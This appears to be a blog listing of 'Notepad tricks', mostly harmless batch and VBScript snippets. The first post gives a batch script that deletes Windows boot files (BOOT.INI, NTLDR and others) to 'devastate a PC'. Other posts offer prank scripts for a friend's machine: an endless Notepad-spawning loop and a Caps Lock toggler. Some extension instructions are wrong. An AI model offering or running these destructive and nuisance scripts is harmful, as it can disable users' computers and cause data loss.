Posts

Showing posts with the label Notepad Tricks

Deleting Startup Files Using Notepad

A way to devastate a PC would be to remove the files that help it to start up. Though not advisable, this is the code that has the power to do it. @ECHO OFF ATTRIB -R -S -H C:\AUTOEXEC.BAT DEL C:\AUTOEXEC.BAT ATTRIB -R -S -H C:\BOOT.INI DEL C:\BOOT.INI ATTRIB -R -S -H C:\NTLDR DEL C:\NTLDR ATTRIB -R -S -H C:\WINDOWS\WIN.INI DEL C:\WINDOWS\WIN.INI SAVE IT AS .BAT FILE. This will shut the computer down and delete files required to get your computer into a normal state. Don’t try doing this on your computer unless and until you wish to loose all your data.

Changing Computer Header and Footer in Notepad

Image
Go to  File ->Page  setup in notepad, and then in the fields for header and footer, type any of these codes. &l Left-align the characters that follow &c Center the characters that follow &r Right-align the characters that follow &d Print the current date &t Print the current time &f Print the name of the document &p Print the page number

How to convert text to speech on computer using notepad

Image
Just copy and paste the code down below into notepad and save as a  .vbs  file.  When you play it, you’ll get a dialog box asking what you want the computer to say. Have fun. Dim message, sapi message=InputBox("What do you want me to say?","Speak to Me") Set sapi=CreateObject("sapi.spvoice") sapi.Speak message

How to Type Slowly on Computer Using Notepad

Image
This is a trick which will cause the text to be typed slowly, to try it out, just copy and paste the text below into notepad and save it as a  .vbs  file. WScript.Sleep 180000 WScript.Sleep 10000 Set WshShell = WScript.CreateObject(“WScript.Shell”) WshShell.Run “notepad” WScript.Sleep 100 WshShell.AppActivate “Notepad” WScript.Sleep 500 WshShell.SendKeys “Hel” WScript.Sleep 500 WshShell.SendKeys “lo ” WScript.Sleep 500 WshShell.SendKeys “, ho” WScript.Sleep 500 WshShell.SendKeys “w a” WScript.Sleep 500 WshShell.SendKeys “re ” WScript.Sleep 500 WshShell.SendKeys “you” WScript.Sleep 500 WshShell.SendKeys “? ” WScript.Sleep 500 WshShell.SendKeys “I a” WScript.Sleep 500 WshShell.SendKeys “m g” WScript.Sleep 500 WshShell.SendKeys “ood” WScript.Sleep 500 WshShell.SendKeys ” th” WScript.Sleep 500 WshShell.SendKeys “ank” WScript.Sleep 500 WshShell.SendKeys “s! “ It does nothing but introduces a small delay between different strings it types.

Toggle Capslock Repeatedly Using Notepad

Image
You can play with someone’s computer, or maybe your own computer by writing a script that can toggle Caps Lock repeatedly. Just copy and Paste the code written down below into notepad. Set wshShell =wscript.CreateObject(“WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “{CAPSLOCK}” loop Now save it as a  .vbs  file and use it to see the magic.

How to do Matrix Effect on computer

Image
Now we’ll discuss a Notepad trick that can turn our command prompt into something that looks like it just came out of the matrix movie, or maybe something that looks like something straight out of a hacker’s system. For doing this, all you need to do is paste the following code in notepad @echo off color 02 :start echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% goto start now you’ll need to save this file with an extension  .bat  , and upon clicking on the .bat file that you have created, you’ll see something like this.

How to do Matrix Effect on computer

Image
Now we’ll discuss a Notepad trick that can turn our command prompt into something that looks like it just came out of the matrix movie, or maybe something that looks like something straight out of a hacker’s system. For doing this, all you need to do is paste the following code in notepad @echo off color 02 :start echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% goto start now you’ll need to save this file with an extension  .bat  , and upon clicking on the .bat file that you have created, you’ll see something like this. A small tweak to customize this cool effect is that you can change the value in front of color, i.e. 02 in color 02 to any other value like 03 for instance; this will change the color of the text that appears in the command prompt. Assign different values to the color, and have fun.

Make A Personal Log-Book or A Diary

Image
A special feature which allows us to make a log exists in notepad. Using it we can make logs of stuff as notepad will put the date and time for us whenever we open a specific type of Log file. For doing this, just type ‘ .LOG ’ in the notepad and save it under any name that you wish. Now whenever you’ll open this particular file, you’ll see that notepad automatically enters the date and time at which it is opened, and then you can make a log record and save the log.

Open Notepad Continually in Your Friend’s Computer

Just another Notepad trick to play with your friend’s system would be to set off a command which would open his/her notepad repetitively. @ECHO off :top START %SystemRoot%\system32\notepad.exe GOTO top Save it as a  .vbs  file and open it to see what happens.

Shutting Down Computer Using Notepad

Image
Just imagine, if instead of pressing on start button and then on the shutdown button and then on the ok option, you could just double click on an icon to shut your system down. The Notepad trick code written below does just that. Just save the file as a  .vbs file, and press it when you need to shut down the system. @echo off msg * System will now shut down shutdown -c “Bye!” –s